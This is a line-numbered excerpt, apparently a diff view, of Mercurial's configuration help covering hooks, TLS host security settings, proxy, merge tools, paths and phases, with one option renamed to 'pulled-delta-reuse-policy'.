1277 1277 is a dictionary of options (with unspecified options set to their
1278 1278 defaults). ``$HG_PATS`` is a list of arguments. If the hook returns
1279 1279 failure, the command doesn't execute and Mercurial returns the failure
1280 1280 code.
1281 1281
1282 1282 ``prechangegroup``
1283 1283 Run before a changegroup is added via push, pull or unbundle. Exit
1284 1284 status 0 allows the changegroup to proceed. A non-zero status will
1285 1285 cause the push, pull or unbundle to fail. The URL from which changes
1286 1286 will come is in ``$HG_URL``.
1287 1287
1288 1288 ``precommit``
1289 1289 Run before starting a local commit. Exit status 0 allows the
1290 1290 commit to proceed. A non-zero status will cause the commit to fail.
1291 1291 Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1292 1292
1293 1293 ``prelistkeys``
1294 1294 Run before listing pushkeys (like bookmarks) in the
1295 1295 repository. A non-zero status will cause failure. The key namespace is
1296 1296 in ``$HG_NAMESPACE``.
1297 1297
1298 1298 ``preoutgoing``
1299 1299 Run before collecting changes to send from the local repository to
1300 1300 another. A non-zero status will cause failure. This lets you prevent
1301 1301 pull over HTTP or SSH. It can also prevent propagating commits (via
1302 1302 local pull, push (outbound) or bundle commands), but not completely,
1303 1303 since you can just copy files instead. The source of operation is in
1304 1304 ``$HG_SOURCE``. If "serve", the operation is happening on behalf of a remote
1305 1305 SSH or HTTP repository. If "push", "pull" or "bundle", the operation
1306 1306 is happening on behalf of a repository on same system.
1307 1307
1308 1308 ``prepushkey``
1309 1309 Run before a pushkey (like a bookmark) is added to the
1310 1310 repository. A non-zero status will cause the key to be rejected. The
1311 1311 key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,
1312 1312 the old value (if any) is in ``$HG_OLD``, and the new value is in
1313 1313 ``$HG_NEW``.
1314 1314
1315 1315 ``pretag``
1316 1316 Run before creating a tag. Exit status 0 allows the tag to be
1317 1317 created. A non-zero status will cause the tag to fail. The ID of the
1318 1318 changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The
1319 1319 tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``.
1320 1320
1321 1321 ``pretxnopen``
1322 1322 Run before any new repository transaction is open. The reason for the
1323 1323 transaction will be in ``$HG_TXNNAME``, and a unique identifier for the
1324 1324 transaction will be in ``$HG_TXNID``. A non-zero status will prevent the
1325 1325 transaction from being opened.
1326 1326
1327 1327 ``pretxnclose``
1328 1328 Run right before the transaction is actually finalized. Any repository change
1329 1329 will be visible to the hook program. This lets you validate the transaction
1330 1330 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1331 1331 status will cause the transaction to be rolled back. The reason for the
1332 1332 transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for
1333 1333 the transaction will be in ``$HG_TXNID``. The rest of the available data will
1334 1334 vary according the transaction type. Changes unbundled to the repository will
1335 1335 add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the
1336 1336 ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added
1337 1337 changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and
1338 1338 ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if
1339 1339 any, will be in ``$HG_NEW_OBSMARKERS``, etc.
1340 1340
1341 1341 ``pretxnclose-bookmark``
1342 1342 Run right before a bookmark change is actually finalized. Any repository
1343 1343 change will be visible to the hook program. This lets you validate the
1344 1344 transaction content or change it. Exit status 0 allows the commit to
1345 1345 proceed. A non-zero status will cause the transaction to be rolled back.
1346 1346 The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
1347 1347 bookmark location will be available in ``$HG_NODE`` while the previous
1348 1348 location will be available in ``$HG_OLDNODE``. In case of a bookmark
1349 1349 creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
1350 1350 will be empty.
1351 1351 In addition, the reason for the transaction opening will be in
1352 1352 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1353 1353 ``$HG_TXNID``.
1354 1354
1355 1355 ``pretxnclose-phase``
1356 1356 Run right before a phase change is actually finalized. Any repository change
1357 1357 will be visible to the hook program. This lets you validate the transaction
1358 1358 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1359 1359 status will cause the transaction to be rolled back. The hook is called
1360 1360 multiple times, once for each revision affected by a phase change.
1361 1361 The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
1362 1362 while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
1363 1363 will be empty. In addition, the reason for the transaction opening will be in
1364 1364 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1365 1365 ``$HG_TXNID``. The hook is also run for newly added revisions. In this case
1366 1366 the ``$HG_OLDPHASE`` entry will be empty.
1367 1367
1368 1368 ``txnclose``
1369 1369 Run after any repository transaction has been committed. At this
1370 1370 point, the transaction can no longer be rolled back. The hook will run
1371 1371 after the lock is released. See :hg:`help config.hooks.pretxnclose` for
1372 1372 details about available variables.
1373 1373
1374 1374 ``txnclose-bookmark``
1375 1375 Run after any bookmark change has been committed. At this point, the
1376 1376 transaction can no longer be rolled back. The hook will run after the lock
1377 1377 is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
1378 1378 about available variables.
1379 1379
1380 1380 ``txnclose-phase``
1381 1381 Run after any phase change has been committed. At this point, the
1382 1382 transaction can no longer be rolled back. The hook will run after the lock
1383 1383 is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
1384 1384 available variables.
1385 1385
1386 1386 ``txnabort``
1387 1387 Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
1388 1388 for details about available variables.
1389 1389
1390 1390 ``pretxnchangegroup``
1391 1391 Run after a changegroup has been added via push, pull or unbundle, but before
1392 1392 the transaction has been committed. The changegroup is visible to the hook
1393 1393 program. This allows validation of incoming changes before accepting them.
1394 1394 The ID of the first new changeset is in ``$HG_NODE`` and last is in
1395 1395 ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero
1396 1396 status will cause the transaction to be rolled back, and the push, pull or
1397 1397 unbundle will fail. The URL that was the source of changes is in ``$HG_URL``.
1398 1398
1399 1399 ``pretxncommit``
1400 1400 Run after a changeset has been created, but before the transaction is
1401 1401 committed. The changeset is visible to the hook program. This allows
1402 1402 validation of the commit message and changes. Exit status 0 allows the
1403 1403 commit to proceed. A non-zero status will cause the transaction to
1404 1404 be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent
1405 1405 changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1406 1406
1407 1407 ``preupdate``
1408 1408 Run before updating the working directory. Exit status 0 allows
1409 1409 the update to proceed. A non-zero status will prevent the update.
1410 1410 The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a
1411 1411 merge, the ID of second new parent is in ``$HG_PARENT2``.
1412 1412
1413 1413 ``listkeys``
1414 1414 Run after listing pushkeys (like bookmarks) in the repository. The
1415 1415 key namespace is in ``$HG_NAMESPACE``. ``$HG_VALUES`` is a
1416 1416 dictionary containing the keys and values.
1417 1417
1418 1418 ``pushkey``
1419 1419 Run after a pushkey (like a bookmark) is added to the
1420 1420 repository. The key namespace is in ``$HG_NAMESPACE``, the key is in
1421 1421 ``$HG_KEY``, the old value (if any) is in ``$HG_OLD``, and the new
1422 1422 value is in ``$HG_NEW``.
1423 1423
1424 1424 ``tag``
1425 1425 Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.
1426 1426 The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in
1427 1427 the repository if ``$HG_LOCAL=0``.
1428 1428
1429 1429 ``update``
1430 1430 Run after updating the working directory. The changeset ID of first
1431 1431 new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new
1432 1432 parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the
1433 1433 update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``.
1434 1434
1435 1435 .. note::
1436 1436
1437 1437 It is generally better to use standard hooks rather than the
1438 1438 generic pre- and post- command hooks, as they are guaranteed to be
1439 1439 called in the appropriate contexts for influencing transactions.
1440 1440 Also, hooks like "commit" will be called in all contexts that
1441 1441 generate a commit (e.g. tag) and not just the commit command.
1442 1442
1443 1443 .. note::
1444 1444
1445 1445 Environment variables with empty values may not be passed to
1446 1446 hooks on platforms such as Windows. As an example, ``$HG_PARENT2``
1447 1447 will have an empty value under Unix-like platforms for non-merge
1448 1448 changesets, while it will not be available at all under Windows.
1449 1449
1450 1450 The syntax for Python hooks is as follows::
1451 1451
1452 1452 hookname = python:modulename.submodule.callable
1453 1453 hookname = python:/path/to/python/module.py:callable
1454 1454
1455 1455 Python hooks are run within the Mercurial process. Each hook is
1456 1456 called with at least three keyword arguments: a ui object (keyword
1457 1457 ``ui``), a repository object (keyword ``repo``), and a ``hooktype``
1458 1458 keyword that tells what kind of hook is used. Arguments listed as
1459 1459 environment variables above are passed as keyword arguments, with no
1460 1460 ``HG_`` prefix, and names in lower case.
1461 1461
1462 1462 If a Python hook returns a "true" value or raises an exception, this
1463 1463 is treated as a failure.
1464 1464
1465 1465
1466 1466 ``hostfingerprints``
1467 1467 --------------------
1468 1468
1469 1469 (Deprecated. Use ``[hostsecurity]``'s ``fingerprints`` options instead.)
1470 1470
1471 1471 Fingerprints of the certificates of known HTTPS servers.
1472 1472
1473 1473 A HTTPS connection to a server with a fingerprint configured here will
1474 1474 only succeed if the servers certificate matches the fingerprint.
1475 1475 This is very similar to how ssh known hosts works.
1476 1476
1477 1477 The fingerprint is the SHA-1 hash value of the DER encoded certificate.
1478 1478 Multiple values can be specified (separated by spaces or commas). This can
1479 1479 be used to define both old and new fingerprints while a host transitions
1480 1480 to a new certificate.
1481 1481
1482 1482 The CA chain and web.cacerts is not used for servers with a fingerprint.
1483 1483
1484 1484 For example::
1485 1485
1486 1486 [hostfingerprints]
1487 1487 hg.intevation.de = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1488 1488 hg.intevation.org = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1489 1489
1490 1490 ``hostsecurity``
1491 1491 ----------------
1492 1492
1493 1493 Used to specify global and per-host security settings for connecting to
1494 1494 other machines.
1495 1495
1496 1496 The following options control default behavior for all hosts.
1497 1497
1498 1498 ``ciphers``
1499 1499 Defines the cryptographic ciphers to use for connections.
1500 1500
1501 1501 Value must be a valid OpenSSL Cipher List Format as documented at
1502 1502 https://www.openssl.org/docs/manmaster/apps/ciphers.html#CIPHER-LIST-FORMAT.
1503 1503
1504 1504 This setting is for advanced users only. Setting to incorrect values
1505 1505 can significantly lower connection security or decrease performance.
1506 1506 You have been warned.
1507 1507
1508 1508 This option requires Python 2.7.
1509 1509
1510 1510 ``minimumprotocol``
1511 1511 Defines the minimum channel encryption protocol to use.
1512 1512
1513 1513 By default, the highest version of TLS supported by both client and server
1514 1514 is used.
1515 1515
1516 1516 Allowed values are: ``tls1.0``, ``tls1.1``, ``tls1.2``.
1517 1517
1518 1518 When running on an old Python version, only ``tls1.0`` is allowed since
1519 1519 old versions of Python only support up to TLS 1.0.
1520 1520
1521 1521 When running a Python that supports modern TLS versions, the default is
1522 1522 ``tls1.1``. ``tls1.0`` can still be used to allow TLS 1.0. However, this
1523 1523 weakens security and should only be used as a feature of last resort if
1524 1524 a server does not support TLS 1.1+.
1525 1525
1526 1526 Options in the ``[hostsecurity]`` section can have the form
1527 1527 ``hostname``:``setting``. This allows multiple settings to be defined on a
1528 1528 per-host basis.
1529 1529
1530 1530 The following per-host settings can be defined.
1531 1531
1532 1532 ``ciphers``
1533 1533 This behaves like ``ciphers`` as described above except it only applies
1534 1534 to the host on which it is defined.
1535 1535
1536 1536 ``fingerprints``
1537 1537 A list of hashes of the DER encoded peer/remote certificate. Values have
1538 1538 the form ``algorithm``:``fingerprint``. e.g.
1539 1539 ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.
1540 1540 In addition, colons (``:``) can appear in the fingerprint part.
1541 1541
1542 1542 The following algorithms/prefixes are supported: ``sha1``, ``sha256``,
1543 1543 ``sha512``.
1544 1544
1545 1545 Use of ``sha256`` or ``sha512`` is preferred.
1546 1546
1547 1547 If a fingerprint is specified, the CA chain is not validated for this
1548 1548 host and Mercurial will require the remote certificate to match one
1549 1549 of the fingerprints specified. This means if the server updates its
1550 1550 certificate, Mercurial will abort until a new fingerprint is defined.
1551 1551 This can provide stronger security than traditional CA-based validation
1552 1552 at the expense of convenience.
1553 1553
1554 1554 This option takes precedence over ``verifycertsfile``.
1555 1555
1556 1556 ``minimumprotocol``
1557 1557 This behaves like ``minimumprotocol`` as described above except it
1558 1558 only applies to the host on which it is defined.
1559 1559
1560 1560 ``verifycertsfile``
1561 1561 Path to file a containing a list of PEM encoded certificates used to
1562 1562 verify the server certificate. Environment variables and ``~user``
1563 1563 constructs are expanded in the filename.
1564 1564
1565 1565 The server certificate or the certificate's certificate authority (CA)
1566 1566 must match a certificate from this file or certificate verification
1567 1567 will fail and connections to the server will be refused.
1568 1568
1569 1569 If defined, only certificates provided by this file will be used:
1570 1570 ``web.cacerts`` and any system/default certificates will not be
1571 1571 used.
1572 1572
1573 1573 This option has no effect if the per-host ``fingerprints`` option
1574 1574 is set.
1575 1575
1576 1576 The format of the file is as follows::
1577 1577
1578 1578 -----BEGIN CERTIFICATE-----
1579 1579 ... (certificate in base64 PEM encoding) ...
1580 1580 -----END CERTIFICATE-----
1581 1581 -----BEGIN CERTIFICATE-----
1582 1582 ... (certificate in base64 PEM encoding) ...
1583 1583 -----END CERTIFICATE-----
1584 1584
1585 1585 For example::
1586 1586
1587 1587 [hostsecurity]
1588 1588 hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
1589 1589 hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1590 1590 hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2
1591 1591 foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem
1592 1592
1593 1593 To change the default minimum protocol version to TLS 1.2 but to allow TLS 1.1
1594 1594 when connecting to ``hg.example.com``::
1595 1595
1596 1596 [hostsecurity]
1597 1597 minimumprotocol = tls1.2
1598 1598 hg.example.com:minimumprotocol = tls1.1
1599 1599
1600 1600 ``http_proxy``
1601 1601 --------------
1602 1602
1603 1603 Used to access web-based Mercurial repositories through a HTTP
1604 1604 proxy.
1605 1605
1606 1606 ``host``
1607 1607 Host name and (optional) port of the proxy server, for example
1608 1608 "myproxy:8000".
1609 1609
1610 1610 ``no``
1611 1611 Optional. Comma-separated list of host names that should bypass
1612 1612 the proxy.
1613 1613
1614 1614 ``passwd``
1615 1615 Optional. Password to authenticate with at the proxy server.
1616 1616
1617 1617 ``user``
1618 1618 Optional. User name to authenticate with at the proxy server.
1619 1619
1620 1620 ``always``
1621 1621 Optional. Always use the proxy, even for localhost and any entries
1622 1622 in ``http_proxy.no``. (default: False)
1623 1623
1624 1624 ``http``
1625 1625 ----------
1626 1626
1627 1627 Used to configure access to Mercurial repositories via HTTP.
1628 1628
1629 1629 ``timeout``
1630 1630 If set, blocking operations will timeout after that many seconds.
1631 1631 (default: None)
1632 1632
1633 1633 ``merge``
1634 1634 ---------
1635 1635
1636 1636 This section specifies behavior during merges and updates.
1637 1637
1638 1638 ``checkignored``
1639 1639 Controls behavior when an ignored file on disk has the same name as a tracked
1640 1640 file in the changeset being merged or updated to, and has different
1641 1641 contents. Options are ``abort``, ``warn`` and ``ignore``. With ``abort``,
1642 1642 abort on such files. With ``warn``, warn on such files and back them up as
1643 1643 ``.orig``. With ``ignore``, don't print a warning and back them up as
1644 1644 ``.orig``. (default: ``abort``)
1645 1645
1646 1646 ``checkunknown``
1647 1647 Controls behavior when an unknown file that isn't ignored has the same name
1648 1648 as a tracked file in the changeset being merged or updated to, and has
1649 1649 different contents. Similar to ``merge.checkignored``, except for files that
1650 1650 are not ignored. (default: ``abort``)
1651 1651
1652 1652 ``on-failure``
1653 1653 When set to ``continue`` (the default), the merge process attempts to
1654 1654 merge all unresolved files using the merge chosen tool, regardless of
1655 1655 whether previous file merge attempts during the process succeeded or not.
1656 1656 Setting this to ``prompt`` will prompt after any merge failure continue
1657 1657 or halt the merge process. Setting this to ``halt`` will automatically
1658 1658 halt the merge process on any merge tool failure. The merge process
1659 1659 can be restarted by using the ``resolve`` command. When a merge is
1660 1660 halted, the repository is left in a normal ``unresolved`` merge state.
1661 1661 (default: ``continue``)
1662 1662
1663 1663 ``strict-capability-check``
1664 1664 Whether capabilities of internal merge tools are checked strictly
1665 1665 or not, while examining rules to decide merge tool to be used.
1666 1666 (default: False)
1667 1667
1668 1668 ``merge-patterns``
1669 1669 ------------------
1670 1670
1671 1671 This section specifies merge tools to associate with particular file
1672 1672 patterns. Tools matched here will take precedence over the default
1673 1673 merge tool. Patterns are globs by default, rooted at the repository
1674 1674 root.
1675 1675
1676 1676 Example::
1677 1677
1678 1678 [merge-patterns]
1679 1679 **.c = kdiff3
1680 1680 **.jpg = myimgmerge
1681 1681
1682 1682 ``merge-tools``
1683 1683 ---------------
1684 1684
1685 1685 This section configures external merge tools to use for file-level
1686 1686 merges. This section has likely been preconfigured at install time.
1687 1687 Use :hg:`config merge-tools` to check the existing configuration.
1688 1688 Also see :hg:`help merge-tools` for more details.
1689 1689
1690 1690 Example ``~/.hgrc``::
1691 1691
1692 1692 [merge-tools]
1693 1693 # Override stock tool location
1694 1694 kdiff3.executable = ~/bin/kdiff3
1695 1695 # Specify command line
1696 1696 kdiff3.args = $base $local $other -o $output
1697 1697 # Give higher priority
1698 1698 kdiff3.priority = 1
1699 1699
1700 1700 # Changing the priority of preconfigured tool
1701 1701 meld.priority = 0
1702 1702
1703 1703 # Disable a preconfigured tool
1704 1704 vimdiff.disabled = yes
1705 1705
1706 1706 # Define new tool
1707 1707 myHtmlTool.args = -m $local $other $base $output
1708 1708 myHtmlTool.regkey = Software\FooSoftware\HtmlMerge
1709 1709 myHtmlTool.priority = 1
1710 1710
1711 1711 Supported arguments:
1712 1712
1713 1713 ``priority``
1714 1714 The priority in which to evaluate this tool.
1715 1715 (default: 0)
1716 1716
1717 1717 ``executable``
1718 1718 Either just the name of the executable or its pathname.
1719 1719
1720 1720 .. container:: windows
1721 1721
1722 1722 On Windows, the path can use environment variables with ${ProgramFiles}
1723 1723 syntax.
1724 1724
1725 1725 (default: the tool name)
1726 1726
1727 1727 ``args``
1728 1728 The arguments to pass to the tool executable. You can refer to the
1729 1729 files being merged as well as the output file through these
1730 1730 variables: ``$base``, ``$local``, ``$other``, ``$output``.
1731 1731
1732 1732 The meaning of ``$local`` and ``$other`` can vary depending on which action is
1733 1733 being performed. During an update or merge, ``$local`` represents the original
1734 1734 state of the file, while ``$other`` represents the commit you are updating to or
1735 1735 the commit you are merging with. During a rebase, ``$local`` represents the
1736 1736 destination of the rebase, and ``$other`` represents the commit being rebased.
1737 1737
1738 1738 Some operations define custom labels to assist with identifying the revisions,
1739 1739 accessible via ``$labellocal``, ``$labelother``, and ``$labelbase``. If custom
1740 1740 labels are not available, these will be ``local``, ``other``, and ``base``,
1741 1741 respectively.
1742 1742 (default: ``$local $base $other``)
1743 1743
1744 1744 ``premerge``
1745 1745 Attempt to run internal non-interactive 3-way merge tool before
1746 1746 launching external tool. Options are ``true``, ``false``, ``keep``,
1747 1747 ``keep-merge3``, or ``keep-mergediff`` (experimental). The ``keep`` option
1748 1748 will leave markers in the file if the premerge fails. The ``keep-merge3``
1749 1749 will do the same but include information about the base of the merge in the
1750 1750 marker (see internal :merge3 in :hg:`help merge-tools`). The
1751 1751 ``keep-mergediff`` option is similar but uses a different marker style
1752 1752 (see internal :merge3 in :hg:`help merge-tools`). (default: True)
1753 1753
1754 1754 ``binary``
1755 1755 This tool can merge binary files. (default: False, unless tool
1756 1756 was selected by file pattern match)
1757 1757
1758 1758 ``symlink``
1759 1759 This tool can merge symlinks. (default: False)
1760 1760
1761 1761 ``check``
1762 1762 A list of merge success-checking options:
1763 1763
1764 1764 ``changed``
1765 1765 Ask whether merge was successful when the merged file shows no changes.
1766 1766 ``conflicts``
1767 1767 Check whether there are conflicts even though the tool reported success.
1768 1768 ``prompt``
1769 1769 Always prompt for merge success, regardless of success reported by tool.
1770 1770
1771 1771 ``fixeol``
1772 1772 Attempt to fix up EOL changes caused by the merge tool.
1773 1773 (default: False)
1774 1774
1775 1775 ``gui``
1776 1776 This tool requires a graphical interface to run. (default: False)
1777 1777
1778 1778 ``mergemarkers``
1779 1779 Controls whether the labels passed via ``$labellocal``, ``$labelother``, and
1780 1780 ``$labelbase`` are ``detailed`` (respecting ``mergemarkertemplate``) or
1781 1781 ``basic``. If ``premerge`` is ``keep`` or ``keep-merge3``, the conflict
1782 1782 markers generated during premerge will be ``detailed`` if either this option or
1783 1783 the corresponding option in the ``[ui]`` section is ``detailed``.
1784 1784 (default: ``basic``)
1785 1785
1786 1786 ``mergemarkertemplate``
1787 1787 This setting can be used to override ``mergemarker`` from the
1788 1788 ``[command-templates]`` section on a per-tool basis; this applies to the
1789 1789 ``$label``-prefixed variables and to the conflict markers that are generated
1790 1790 if ``premerge`` is ``keep` or ``keep-merge3``. See the corresponding variable
1791 1791 in ``[ui]`` for more information.
1792 1792
1793 1793 .. container:: windows
1794 1794
1795 1795 ``regkey``
1796 1796 Windows registry key which describes install location of this
1797 1797 tool. Mercurial will search for this key first under
1798 1798 ``HKEY_CURRENT_USER`` and then under ``HKEY_LOCAL_MACHINE``.
1799 1799 (default: None)
1800 1800
1801 1801 ``regkeyalt``
1802 1802 An alternate Windows registry key to try if the first key is not
1803 1803 found. The alternate key uses the same ``regname`` and ``regappend``
1804 1804 semantics of the primary key. The most common use for this key
1805 1805 is to search for 32bit applications on 64bit operating systems.
1806 1806 (default: None)
1807 1807
1808 1808 ``regname``
1809 1809 Name of value to read from specified registry key.
1810 1810 (default: the unnamed (default) value)
1811 1811
1812 1812 ``regappend``
1813 1813 String to append to the value read from the registry, typically
1814 1814 the executable name of the tool.
1815 1815 (default: None)
1816 1816
1817 1817 ``pager``
1818 1818 ---------
1819 1819
1820 1820 Setting used to control when to paginate and with what external tool. See
1821 1821 :hg:`help pager` for details.
1822 1822
1823 1823 ``pager``
1824 1824 Define the external tool used as pager.
1825 1825
1826 1826 If no pager is set, Mercurial uses the environment variable $PAGER.
1827 1827 If neither pager.pager, nor $PAGER is set, a default pager will be
1828 1828 used, typically `less` on Unix and `more` on Windows. Example::
1829 1829
1830 1830 [pager]
1831 1831 pager = less -FRX
1832 1832
1833 1833 ``ignore``
1834 1834 List of commands to disable the pager for. Example::
1835 1835
1836 1836 [pager]
1837 1837 ignore = version, help, update
1838 1838
1839 1839 ``patch``
1840 1840 ---------
1841 1841
1842 1842 Settings used when applying patches, for instance through the 'import'
1843 1843 command or with Mercurial Queues extension.
1844 1844
1845 1845 ``eol``
1846 1846 When set to 'strict' patch content and patched files end of lines
1847 1847 are preserved. When set to ``lf`` or ``crlf``, both files end of
1848 1848 lines are ignored when patching and the result line endings are
1849 1849 normalized to either LF (Unix) or CRLF (Windows). When set to
1850 1850 ``auto``, end of lines are again ignored while patching but line
1851 1851 endings in patched files are normalized to their original setting
1852 1852 on a per-file basis. If target file does not exist or has no end
1853 1853 of line, patch line endings are preserved.
1854 1854 (default: strict)
1855 1855
1856 1856 ``fuzz``
1857 1857 The number of lines of 'fuzz' to allow when applying patches. This
1858 1858 controls how much context the patcher is allowed to ignore when
1859 1859 trying to apply a patch.
1860 1860 (default: 2)
1861 1861
1862 1862 ``paths``
1863 1863 ---------
1864 1864
1865 1865 Assigns symbolic names and behavior to repositories.
1866 1866
1867 1867 Options are symbolic names defining the URL or directory that is the
1868 1868 location of the repository. Example::
1869 1869
1870 1870 [paths]
1871 1871 my_server = https://example.com/my_repo
1872 1872 local_path = /home/me/repo
1873 1873
1874 1874 These symbolic names can be used from the command line. To pull
1875 1875 from ``my_server``: :hg:`pull my_server`. To push to ``local_path``:
1876 1876 :hg:`push local_path`. You can check :hg:`help urls` for details about
1877 1877 valid URLs.
1878 1878
1879 1879 Options containing colons (``:``) denote sub-options that can influence
1880 1880 behavior for that specific path. Example::
1881 1881
1882 1882 [paths]
1883 1883 my_server = https://example.com/my_path
1884 1884 my_server:pushurl = ssh://example.com/my_path
1885 1885
1886 1886 Paths using the `path://otherpath` scheme will inherit the sub-options value from
1887 1887 the path they point to.
1888 1888
1889 1889 The following sub-options can be defined:
1890 1890
1891 1891 ``multi-urls``
1892 1892 A boolean option. When enabled the value of the `[paths]` entry will be
1893 1893 parsed as a list and the alias will resolve to multiple destination. If some
1894 1894 of the list entry use the `path://` syntax, the suboption will be inherited
1895 1895 individually.
1896 1896
1897 1897 ``pushurl``
1898 1898 The URL to use for push operations. If not defined, the location
1899 1899 defined by the path's main entry is used.
1900 1900
1901 1901 ``pushrev``
1902 1902 A revset defining which revisions to push by default.
1903 1903
1904 1904 When :hg:`push` is executed without a ``-r`` argument, the revset
1905 1905 defined by this sub-option is evaluated to determine what to push.
1906 1906
1907 1907 For example, a value of ``.`` will push the working directory's
1908 1908 revision by default.
1909 1909
1910 1910 Revsets specifying bookmarks will not result in the bookmark being
1911 1911 pushed.
1912 1912
1913 1913 ``bookmarks.mode``
1914 1914 How bookmark will be dealt during the exchange. It support the following value
1915 1915
1916 1916 - ``default``: the default behavior, local and remote bookmarks are "merged"
1917 1917 on push/pull.
1918 1918
1919 1919 - ``mirror``: when pulling, replace local bookmarks by remote bookmarks. This
1920 1920 is useful to replicate a repository, or as an optimization.
1921 1921
1922 1922 - ``ignore``: ignore bookmarks during exchange.
1923 1923 (This currently only affect pulling)
1924 1924
1925 1925 .. container:: verbose
1926 1926
1927 ``delta-reuse-policy``
1927 ``pulled-delta-reuse-policy``
1928 1928 Control the policy regarding deltas sent by the remote during pulls.
1929 1929
1930 1930 This is an advanced option that non-admin users should not need to understand
1931 1931 or set. This option can be used to speed up pulls from trusted central
1932 1932 servers, or to fix-up deltas from older servers.
1933 1933
1934 1934 It supports the following values:
1935 1935
1936 1936 - ``default``: use the policy defined by
1937 1937 `storage.revlog.reuse-external-delta-parent`,
1938 1938
1939 1939 - ``no-reuse``: start a new optimal delta search for each new revision we add
1940 1940 to the repository. The deltas from the server will be reused when the base
1941 1941 it applies to is tested (this can be frequent if that base is the one and
1942 1942 unique parent of that revision). This can significantly slowdown pulls but
1943 1943 will result in an optimized storage space if the remote peer is sending poor
1944 1944 quality deltas.
1945 1945
1946 1946 - ``try-base``: try to reuse the deltas from the remote peer as long as they
1947 1947 create a valid delta-chain in the local repository. This speeds up the
1948 1948 unbundling process, but can result in sub-optimal storage space if the
1949 1949 remote peer is sending poor quality deltas.
1950 1950
1951 1951 - ``forced``: the deltas from the peer will be reused in all cases, even if
1952 1952 the resulting delta-chain is "invalid". This setting will ensure the bundle
1953 1953 is applied at minimal CPU cost, but it can result in longer delta chains
1954 1954 being created on the client, making revisions potentially slower to access
1955 1955 in the future. If you think you need this option, you should make sure you
1956 1956 are also talking to the Mercurial developer community to get confirmation.
1957 1957
1958 1958 See `hg help config.storage.revlog.reuse-external-delta-parent` for a similar
1959 1959 global option. That option defines the behavior of `default`.
1960 1960
1961 1961 The following special named paths exist:
1962 1962
1963 1963 ``default``
1964 1964 The URL or directory to use when no source or remote is specified.
1965 1965
1966 1966 :hg:`clone` will automatically define this path to the location the
1967 1967 repository was cloned from.
1968 1968
1969 1969 ``default-push``
1970 1970 (deprecated) The URL or directory for the default :hg:`push` location.
1971 1971 ``default:pushurl`` should be used instead.
1972 1972
1973 1973 ``phases``
1974 1974 ----------
1975 1975
1976 1976 Specifies default handling of phases. See :hg:`help phases` for more
1977 1977 information about working with phases.
1978 1978
1979 1979 ``publish``
1980 1980 Controls draft phase behavior when working as a server. When true,
1981 1981 pushed changesets are set to public in both client and server and
1982 1982 pulled or cloned changesets are set to public in the client.
1983 1983 (default: True)
1984 1984
1985 1985 ``new-commit``
1986 1986 Phase of newly-created commits.
1987 1987 (default: draft)
1988 1988
1989 1989 ``checksubrepos``
1990 1990 Check the phase of the current revision of each subrepository. Allowed
1991 1991 values are "ignore", "follow" and "abort". For settings other than
1992 1992 "ignore", the phase of the current revision of each subrepository is
1993 1993 checked before committing the parent repository. If any of those phases is
1994 1994 greater than the phase of the parent repository (e.g. if a subrepo is in a
1995 1995 "secret" phase while the parent repo is in "draft" phase), the commit is
1996 1996 either aborted (if checksubrepos is set to "abort") or the higher phase is
1997 1997 used for the parent repository commit (if set to "follow").
1998 1998 (default: follow)
1999 1999
2000 2000
2001 2001 ``profiling``
2002 2002 -------------
2003 2003
2004 2004 Specifies profiling type, format, and file output. Two profilers are
2005 2005 supported: an instrumenting profiler (named ``ls``), and a sampling
2006 2006 profiler (named ``stat``).
2007 2007
2008 2008 In this section description, 'profiling data' stands for the raw data
2009 2009 collected during profiling, while 'profiling report' stands for a
2010 2010 statistical text report generated from the profiling data.
2011 2011
2012 2012 ``enabled``
2013 2013 Enable the profiler.
2014 2014 (default: false)
2015 2015
2016 2016 This is equivalent to passing ``--profile`` on the command line.
2017 2017
2018 2018 ``type``
2019 2019 The type of profiler to use.
2020 2020 (default: stat)
2021 2021
2022 2022 ``ls``
